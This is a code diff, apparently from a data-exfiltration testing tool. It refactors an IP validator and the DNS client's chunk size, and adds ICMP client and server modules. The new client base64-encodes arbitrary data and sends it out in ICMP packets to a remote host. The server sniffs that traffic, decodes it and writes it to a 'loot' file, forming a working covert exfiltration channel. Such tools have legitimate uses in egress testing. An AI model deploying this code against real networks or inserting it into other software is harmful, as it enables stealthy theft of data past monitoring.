diff --git a/common/helpers.py b/common/helpers.py index ed88a03..adb0cf0 100644 --- a/common/helpers.py +++ b/common/helpers.py @@ -7,6 +7,7 @@ This is for functions potentially used by all modules import argparse import os import random +import re import string import sys import time @@ -119,6 +120,20 @@ def ea_path(): return os.getcwd() +def validate_ip(val_ip): + # This came from (Mult-line link for pep8 compliance) + # http://python-iptools.googlecode.com/svn-history/r4 + # /trunk/iptools/__init__.py + ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$') + if ip_re.match(val_ip): + quads = (int(q) for q in val_ip.split('.')) + for q in quads: + if q > 255: + return False + return True + return False + + def writeout_text_data(incoming_data): # Get the date info current_date = time.strftime("%m/%d/%Y") diff --git a/protocols/clients/dns_client.py b/protocols/clients/dns_client.py index da29a18..82f29ee 100644 --- a/protocols/clients/dns_client.py +++ b/protocols/clients/dns_client.py @@ -10,6 +10,7 @@ import base64 import re import socket import sys +from common import helpers from scapy.all import * @@ -17,7 +18,7 @@ class Client: def __init__(self, cli_object): self.protocol = "dns" - self.length = 62 + self.length = 35 self.remote_server = cli_object.ip def transmit(self, data_to_transmit): @@ -26,22 +27,20 @@ class Client: packet_number = 1 # Determine if sending via IP or domain name - if self.validate_ip(self.remote_server): + if helpers.validate_ip(self.remote_server): final_destination = self.remote_server else: print "[*] Resolving IP of domain..." final_destination = socket.gethostbyname(self.remote_server) - print "[*] Splitting data into chunks that fit in DNS packets...." - - while (byte_reader < len(data_to_transmit) + 35): - encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + 35]) + while (byte_reader < len(data_to_transmit) + self.length): + encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length]) # calcalate total packets - if ((len(data_to_transmit) % 35) == 0): - total_packets = len(data_to_transmit) / 35 + if ((len(data_to_transmit) % self.length) == 0): + total_packets = len(data_to_transmit) / self.length else: - total_packets = (len(data_to_transmit) / 35) + 1 + total_packets = (len(data_to_transmit) / self.length) + 1 print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(total_packets) @@ -57,20 +56,7 @@ class Client: sys.exit() # Increment counters - byte_reader += 35 + byte_reader += self.length packet_number += 1 return - - def validate_ip(self, val_ip): - # This came from (Mult-line link for pep8 compliance) - # http://python-iptools.googlecode.com/svn-history/r4 - # /trunk/iptools/__init__.py - ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$') - if ip_re.match(val_ip): - quads = (int(q) for q in val_ip.split('.')) - for q in quads: - if q > 255: - return False - return True - return False diff --git a/protocols/clients/icmp_client.py b/protocols/clients/icmp_client.py new file mode 100644 index 0000000..4b906fb --- /dev/null +++ b/protocols/clients/icmp_client.py @@ -0,0 +1,61 @@ +''' + +This is the template that should be used for client modules. +A brief description of the client module can/should be placed +up here. All necessary imports should be placed between the +comments and class declaration. + +Finally, be sure to rename your client module to a .py file + +''' + +import base64 +import re +import socket +import sys +from common import helpers +from scapy.all import * + + +class Client: + + def __init__(self, cli_object): + self.protocol = "icmp" + self.length = 1100 # Number of cleartext characters allowed before b64 encoded + self.remote_server = cli_object.ip + + def transmit(self, data_to_transmit): + + byte_reader = 0 + packet_number = 1 + + # Determine if sending via IP or domain name + if helpers.validate_ip(self.remote_server): + final_destination = self.remote_server + else: + print "[*] Resolving IP of domain..." + final_destination = socket.gethostbyname(self.remote_server) + + while (byte_reader < len(data_to_transmit) + self.length): + encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length]) + + # calcalate total packets + if ((len(data_to_transmit) % self.length) == 0): + total_packets = len(data_to_transmit) / self.length + 1 + else: + total_packets = (len(data_to_transmit) / self.length) + 2 + + print "[*] Packet Number/Total Packets: " + str(packet_number) + "/" + str(total_packets) + + # Craft the packet with scapy + try: + send(IP(dst=final_destination)/ICMP()/(encoded_data), verbose=False) + except KeyboardInterrupt: + print "[*] Shutting down..." + sys.exit() + + # Increment counters + byte_reader += self.length + packet_number += 1 + + return diff --git a/protocols/servers/icmp_server.py b/protocols/servers/icmp_server.py new file mode 100644 index 0000000..4f3d1f8 --- /dev/null +++ b/protocols/servers/icmp_server.py @@ -0,0 +1,61 @@ +''' + +A brief description of the server module can be placed up here +All import should go between the comments and class declaration +If you have a question, feel free to check out the other server +modules ot just hit me up. + +Finally, be sure to rename this to a .py file + +''' + +import base64 +import time +from common import helpers +from scapy.all import * + + +class Server: + + def __init__(self, cli_object): + self.protocol = "icmp" + self.file_name = '' + self.last_packet = '' + self.loot_path = '' + + def customAction(self, packet): + + if packet.haslayer(ICMP): + if packet.haslayer(Raw): + icmp_strings = repr(packet[Raw]) + try: + incoming_data = base64.b64decode(icmp_strings.split('\'')[1]) + if incoming_data == self.last_packet: + pass + else: + with open(self.loot_path + self.file_name, 'a') as icmp_out: + icmp_out.write(incoming_data) + self.last_packet = incoming_data + except TypeError: + pass + except IndexError: + pass + return + + def serve(self): + + self.loot_path = os.path.join(helpers.ea_path(), "data") + "/" + # Check to make sure the agent directory exists, and a loot + # directory for the agent. If not, make them + if not os.path.isdir(self.loot_path): + os.makedirs(self.loot_path) + + # Get the date info + current_date = time.strftime("%m/%d/%Y") + current_time = time.strftime("%H:%M:%S") + self.file_name = current_date.replace("/", "") +\ + "_" + current_time.replace(":", "") + "text_data.txt" + + print "[*] ICMP server/sniffer started!" + sniff(prn=self.customAction) + return